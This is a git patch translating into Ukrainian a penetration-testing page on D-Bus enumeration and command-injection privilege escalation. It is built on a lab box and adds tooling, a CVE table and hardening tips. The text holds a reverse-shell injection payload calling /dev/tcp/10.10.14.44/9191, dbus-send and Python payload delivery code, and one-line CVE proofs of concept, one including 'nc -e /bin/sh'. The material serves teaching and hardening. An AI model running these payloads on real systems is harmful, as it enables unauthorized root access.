From 7c936dd98d7f3b086437cecaad271b5a6a3a1ea6 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 22 Jul 2025 06:11:23 +0000 Subject: [PATCH] Translated ['src/linux-hardening/privilege-escalation/d-bus-enumeration- --- ...-command-injection-privilege-escalation.md | 105 ++++++++++++++---- 1 file changed, 86 insertions(+), 19 deletions(-) diff --git a/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md b/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md index 39708eb99..16f762d2d 100644 --- a/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md @@ -4,11 +4,11 @@ ## **GUI enumeration** -D-Bus використовується як посередник міжпроцесорних комунікацій (IPC) в середовищах робочого столу Ubuntu. В Ubuntu спостерігається одночасна робота кількох автобусів повідомлень: системний автобус, який в основному використовується **привілейованими службами для відкриття служб, що мають відношення до всієї системи**, та сесійний автобус для кожного увійшовшого користувача, який відкриває служби, що мають відношення лише до цього конкретного користувача. Основна увага тут зосереджена на системному автобусі через його асоціацію з службами, що працюють з вищими привілеями (наприклад, root), оскільки наша мета - підвищити привілеї. Зазначається, що архітектура D-Bus використовує 'маршрутизатор' для кожного сесійного автобуса, який відповідає за перенаправлення повідомлень клієнтів до відповідних служб на основі адреси, вказаної клієнтами для служби, з якою вони бажають спілкуватися. +D-Bus використовується як посередник міжпроцесорних комунікацій (IPC) в середовищах робочого столу Ubuntu. В Ubuntu спостерігається одночасна робота кількох шини повідомлень: системна шина, яка в основному використовується **привілейованими службами для відкриття служб, що мають відношення до всієї системи**, та сесійна шина для кожного увійшовшого користувача, яка відкриває служби, що мають відношення лише до цього конкретного користувача. Основна увага тут зосереджена на системній шині через її асоціацію з службами, що працюють з вищими привілеями (наприклад, root), оскільки наша мета - підвищити привілеї. Зазначається, що архітектура D-Bus використовує 'маршрутизатор' для кожної сесійної шини, який відповідає за перенаправлення повідомлень клієнтів до відповідних служб на основі адреси, зазначеної клієнтами для служби, з якою вони бажають спілкуватися. -Служби на D-Bus визначаються **об'єктами** та **інтерфейсами**, які вони відкривають. Об'єкти можна порівняти з екземплярами класів у стандартних мовах ООП, при цьому кожен екземпляр унікально ідентифікується **шляхом об'єкта**. Цей шлях, подібно до шляху файлової системи, унікально ідентифікує кожен об'єкт, відкритий службою. Ключовим інтерфейсом для дослідження є **org.freedesktop.DBus.Introspectable**, який має єдиний метод, Introspect. Цей метод повертає XML-представлення підтримуваних методів, сигналів та властивостей об'єкта, зосереджуючись тут на методах, пропускаючи властивості та сигнали. +Служби на D-Bus визначаються **об'єктами** та **інтерфейсами**, які вони відкривають. Об'єкти можна порівняти з екземплярами класів у стандартних мовах ООП, при цьому кожен екземпляр унікально ідентифікується **шляхом об'єкта**. Цей шлях, подібно до шляху файлової системи, унікально ідентифікує кожен об'єкт, відкритий службою. Ключовим інтерфейсом для дослідження є **org.freedesktop.DBus.Introspectable** інтерфейс, що містить єдиний метод, Introspect. Цей метод повертає XML-представлення підтримуваних методів, сигналів та властивостей об'єкта, зосереджуючись тут на методах, пропускаючи властивості та сигнали. -Для зв'язку з інтерфейсом D-Bus було використано два інструменти: CLI-інструмент під назвою **gdbus** для легкого виклику методів, відкритих D-Bus у скриптах, та [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), інструмент GUI на базі Python, призначений для перерахунку служб, доступних на кожному автобусі, та для відображення об'єктів, що містяться в кожній службі. +Для зв'язку з інтерфейсом D-Bus було використано два інструменти: CLI-інструмент під назвою **gdbus** для легкого виклику методів, відкритих D-Bus у скриптах, та [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), графічний інструмент на основі Python, призначений для перерахунку служб, доступних на кожній шині, та для відображення об'єктів, що містяться в кожній службі. ```bash sudo apt-get install d-feet ``` @@ -16,7 +16,7 @@ sudo apt-get install d-feet ![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png) -У першому зображенні показані сервіси, зареєстровані в системній шині D-Bus, з **org.debin.apt**, спеціально виділеним після вибору кнопки System Bus. D-Feet запитує цей сервіс на предмет об'єктів, відображаючи інтерфейси, методи, властивості та сигнали для вибраних об'єктів, що видно на другому зображенні. Також детально описується підпис кожного методу. +У першому зображенні показані сервіси, зареєстровані в системній шині D-Bus, з **org.debin.apt**, зокрема, виділеним після вибору кнопки System Bus. D-Feet запитує цей сервіс на предмет об'єктів, відображаючи інтерфейси, методи, властивості та сигнали для вибраних об'єктів, що видно на другому зображенні. Також детально описується підпис кожного методу. Помітною особливістю є відображення **ідентифікатора процесу (pid)** та **командного рядка** сервісу, що корисно для підтвердження, чи працює сервіс з підвищеними привілеями, що важливо для дослідження. @@ -24,7 +24,7 @@ sudo apt-get install d-feet Однак слід зазначити, що **деякі методи вимагають аутентифікації** перед тим, як дозволити їх виклик. Ми проігноруємо ці методи, оскільки наша мета - підвищити наші привілеї без облікових даних з самого початку. -Також слід зазначити, що деякі сервіси запитують інший сервіс D-Bus під назвою org.freedeskto.PolicyKit1, чи повинен користувач мати право виконувати певні дії чи ні. +Також зверніть увагу, що деякі сервіси запитують інший сервіс D-Bus під назвою org.freedeskto.PolicyKit1, чи повинен користувач мати право виконувати певні дії. ## **Cmd line Enumeration** @@ -56,7 +56,7 @@ org.freedesktop.locale1 - - - (act ``` #### З'єднання -[З Wikipedia:](https://en.wikipedia.org/wiki/D-Bus) Коли процес встановлює з'єднання з шиною, шина призначає з'єднанню спеціальне ім'я шини, яке називається _унікальним ім'ям з'єднання_. Імена шини цього типу є незмінними — гарантовано, що вони не зміняться, поки з'єднання існує — і, що більш важливо, їх не можна повторно використовувати протягом життєвого циклу шини. Це означає, що жодне інше з'єднання з цією шиною ніколи не отримає такого унікального імені з'єднання, навіть якщо той самий процес закриває з'єднання з шиною і створює нове. Унікальні імена з'єднання легко впізнаються, оскільки вони починаються з — в іншому випадку забороненого — двокрапки. +[З Wikipedia:](https://en.wikipedia.org/wiki/D-Bus) Коли процес встановлює з'єднання з шиною, шина призначає з'єднанню спеціальну назву шини, звану _унікальною назвою з'єднання_. Назви шин цього типу є незмінними — гарантовано, що вони не зміняться, поки з'єднання існує — і, що більш важливо, їх не можна повторно використовувати протягом життєвого циклу шини. Це означає, що жодне інше з'єднання з цією шиною ніколи не отримає таку унікальну назву з'єднання, навіть якщо той самий процес закриває з'єднання з шиною і створює нове. Унікальні назви з'єднань легко впізнавані, оскільки вони починаються з — в іншому випадку забороненого — символу двокрапки. ### Інформація про об'єкт служби @@ -120,9 +120,9 @@ cap_mknod cap_lease cap_audit_write cap_audit_control cap_setfcap cap_mac_override cap_mac_admin cap_syslog cap_wake_alarm cap_block_suspend cap_audit_read ``` -### Список інтерфейсів об'єкта служби +### List Interfaces of a Service Object -Вам потрібно мати достатньо прав. +Вам потрібно мати достатні права. ```bash busctl tree htb.oouch.Block #Get Interfaces of the service object @@ -130,9 +130,9 @@ busctl tree htb.oouch.Block #Get Interfaces of the service object └─/htb/oouch └─/htb/oouch/Block ``` -### Інспектування інтерфейсу об'єкта служби +### Introspect Interface of a Service Object -Зверніть увагу, що в цьому прикладі було обрано останній виявлений інтерфейс, використовуючи параметр `tree` (_див. попередній розділ_): +Зверніть увагу, що в цьому прикладі була обрана остання виявлена інтерфейс за допомогою параметра `tree` (_див. попередній розділ_): ```bash busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface @@ -152,7 +152,7 @@ org.freedesktop.DBus.Properties interface - - - ``` Зверніть увагу на метод `.Block` інтерфейсу `htb.oouch.Block` (той, який нас цікавить). "s" в інших стовпцях може означати, що очікується рядок. -### Інтерфейс моніторингу/захоплення +### Моніторинг/Захоплення Інтерфейсу З достатніми привілеями (лише привілеїв `send_destination` та `receive_sender` недостатньо) ви можете **моніторити D-Bus комунікацію**. @@ -245,14 +245,14 @@ response = block_iface.Block(client_ip) bus.close() return render_template('hacker.html', title='Hacker') ``` -Як ви можете бачити, це **підключається до інтерфейсу D-Bus** і надсилає до **функції "Block"** "client_ip". +Як ви можете бачити, він **підключається до інтерфейсу D-Bus** і надсилає до **функції "Block"** "client_ip". -На іншій стороні з'єднання D-Bus працює деякий скомпільований C-бінарник. Цей код **слухає** з'єднання D-Bus **для IP-адреси і викликає iptables через функцію `system`** для блокування заданої IP-адреси.\ -**Виклик `system` навмисно вразливий до ін'єкції команд**, тому корисне навантаження, подібне до наступного, створить зворотний шелл: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #` +На іншій стороні з'єднання D-Bus працює деякий скомпільований C-бінарник. Цей код **слухає** з'єднання D-Bus **на IP-адресу і викликає iptables через функцію `system`** для блокування заданої IP-адреси.\ +**Виклик `system` навмисно вразливий до ін'єкцій команд**, тому такий корисний вантаж, як наступний, створить зворотний шелл: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #` ### Використайте це -В кінці цієї сторінки ви можете знайти **повний C-код програми D-Bus**. Всередині ви можете знайти між рядками 91-97 **як `D-Bus object path`** **та `interface name`** **реєструються**. Ця інформація буде необхідна для надсилання інформації до з'єднання D-Bus: +В кінці цієї сторінки ви можете знайти **повний C-код програми D-Bus**. Всередині ви можете знайти між рядками 91-97 **як `D-Bus object path`** **і `interface name`** **реєструються**. Ця інформація буде необхідна для надсилання інформації до з'єднання D-Bus: ```c /* Install the object */ r = sd_bus_add_object_vtable(bus, @@ -262,13 +262,13 @@ r = sd_bus_add_object_vtable(bus, block_vtable, NULL); ``` -Також, у рядку 57 ви можете знайти, що **єдиний метод, зареєстрований** для цього D-Bus зв'язку називається `Block`(_**Ось чому в наступному розділі корисні навантаження будуть відправлені до об'єкта служби `htb.oouch.Block`, інтерфейсу `/htb/oouch/Block` та назви методу `Block`**_): +Також, у рядку 57 ви можете знайти, що **єдиний метод, зареєстрований** для цього D-Bus зв'язку називається `Block`(_**Ось чому в наступному розділі корисні навантаження будуть надіслані до об'єкта служби `htb.oouch.Block`, інтерфейсу `/htb/oouch/Block` та назви методу `Block`**_): ```c SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), ``` #### Python -Наступний код на python надішле payload до D-Bus з'єднання до методу `Block` через `block_iface.Block(runme)` (_зауважте, що він був витягнутий з попереднього фрагмента коду_): +Наступний код на python надішле payload до з'єднання D-Bus до методу `Block` через `block_iface.Block(runme)` (_зауважте, що він був витягнутий з попереднього фрагмента коду_): ```python import dbus bus = dbus.SystemBus() @@ -283,9 +283,9 @@ bus.close() dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #' ``` - `dbus-send` - це інструмент, який використовується для відправки повідомлень до “Message Bus” -- Message Bus – програмне забезпечення, яке використовується системами для спрощення комунікації між додатками. Це пов'язано з Message Queue (повідомлення упорядковані в послідовності), але в Message Bus повідомлення надсилаються за моделлю підписки і також дуже швидко. +- Message Bus – програмне забезпечення, яке використовується системами для спрощення комунікації між додатками. Воно пов'язане з Message Queue (повідомлення упорядковані в послідовності), але в Message Bus повідомлення надсилаються за моделлю підписки і також дуже швидко. - Тег “-system” використовується для позначення того, що це системне повідомлення, а не повідомлення сесії (за замовчуванням). -- Тег “–print-reply” використовується для належного виведення нашого повідомлення та отримання будь-яких відповідей у зрозумілому для людини форматі. +- Тег “–print-reply” використовується для коректного виведення нашого повідомлення та отримання будь-яких відповідей у зрозумілому для людини форматі. - “–dest=Dbus-Interface-Block” Адреса інтерфейсу Dbus. - “–string:” – Тип повідомлення, яке ми хочемо надіслати до інтерфейсу. Існує кілька форматів для відправки повідомлень, таких як double, bytes, booleans, int, objpath. З цього, “object path” корисний, коли ми хочемо надіслати шлях до файлу до інтерфейсу Dbus. У цьому випадку ми можемо використовувати спеціальний файл (FIFO), щоб передати команду до інтерфейсу під ім'ям файлу. “string:;” – Це для повторного виклику об'єктного шляху, де ми розміщуємо файл/команду зворотного шелу FIFO. @@ -432,8 +432,75 @@ sd_bus_unref(bus); return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS; } ``` +## Автоматизовані допоміжні засоби для перерахунку (2023-2025) + +Перерахунок великої атаки D-Bus вручну за допомогою `busctl`/`gdbus` швидко стає болючим. Два невеликі FOSS утиліти, випущені за останні кілька років, можуть прискорити процес під час червоних команд або CTF: + +### dbusmap ("Nmap для D-Bus") +* Автор: @taviso – [https://github.com/taviso/dbusmap](https://github.com/taviso/dbusmap) +* Написано на C; один статичний бінарний файл (<50 kB), який проходить через кожен об'єктний шлях, витягує XML `Introspect` і відображає його на PID/UID власника. +* Корисні прапорці: +```bash +# Перелічити всі сервіси на *системному* автобусі та вивести всі викликабельні методи +sudo dbus-map --dump-methods + +# Активно перевіряти методи/властивості, до яких ви можете дістатися без запитів Polkit +sudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties +``` +* Інструмент позначає незахищені відомі імена знаком `!`, миттєво виявляючи сервіси, які ви можете *взяти під контроль* (перехопити) або виклики методів, до яких можна дістатися з непривабливого шеллу. + +### uptux.py +* Автор: @initstring – [https://github.com/initstring/uptux](https://github.com/initstring/uptux) +* Скрипт тільки на Python, який шукає *записувані* шляхи в одиницях systemd **та** надто дозволяючих файлах політики D-Bus (наприклад, `send_destination="*"`). +* Швидке використання: +```bash +python3 uptux.py -n # виконати всі перевірки, але не записувати файл журналу +python3 uptux.py -d # увімкнути детальний вивід налагодження +``` +* Модуль D-Bus шукає каталоги нижче і підкреслює будь-який сервіс, який може бути підроблений або перехоплений звичайним користувачем: +* `/etc/dbus-1/system.d/` та `/usr/share/dbus-1/system.d/` +* `/etc/dbus-1/system-local.d/` (перевизначення постачальника) + +--- + +## Помітні помилки підвищення привілеїв D-Bus (2024-2025) + +Слідкування за нещодавно опублікованими CVE допомагає виявити подібні ненадійні шаблони в користувацькому коді. Наступні проблеми з високим впливом локального EoP виникають через відсутність аутентифікації/авторизації на **системному автобусі**: + +| Рік | CVE | Компонент | Корінна причина | Однолінійний PoC | +|------|-----|-----------|------------|---------------| +| 2024 | CVE-2024-45752 | `logiops` ≤ 0.3.4 (демон Logitech HID) | Системна служба `logid` відкриває необмежений інтерфейс `org.freedesktop.Logiopsd`, що дозволяє *будь-якому* користувачу змінювати профілі пристроїв і впроваджувати довільні команди оболонки через рядки макросів. | `gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/pwn.yml"` | +| 2025 | CVE-2025-23222 | Deepin `dde-api-proxy` ≤ 1.0.18 | Проксі, що працює з правами root, пересилає застарілі імена автобусів до бекенд-сервісів **без пересилання UID/контексту Polkit викликувача**, тому кожен пересланий запит обробляється як UID 0. | `gdbus call -y -d com.deepin.daemon.Grub2 -o /com/deepin/daemon/Grub2 -m com.deepin.daemon.Grub2.SetTimeout 1` | +| 2025 | CVE-2025-3931 | Red Hat Insights `yggdrasil` ≤ 0.4.6 | Публічний метод `Dispatch` не має жодних ACL → зловмисник може наказати *пакетному менеджеру* встановити довільні RPM. | `dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:'{"worker":"pkg","action":"install","pkg":"nc -e /bin/sh"}'` | + +Шаблони, на які слід звернути увагу: +1. Сервіс працює **як root на системному автобусі**. +2. Відсутня перевірка PolicyKit (або вона обійдена проксі). +3. Метод в кінцевому підсумку веде до `system()`/встановлення пакета/переналаштування пристрою → виконання коду. + +Використовуйте `dbusmap --enable-probes` або ручний `busctl call`, щоб підтвердити, чи патч переносить правильну логіку `polkit_authority_check_authorization()`. + +--- + +## Швидкі виграші в зміцненні та виявленні + +* Шукайте світло-записувані або *відкриті для надсилання/отримання* політики: +```bash +grep -R --color -nE '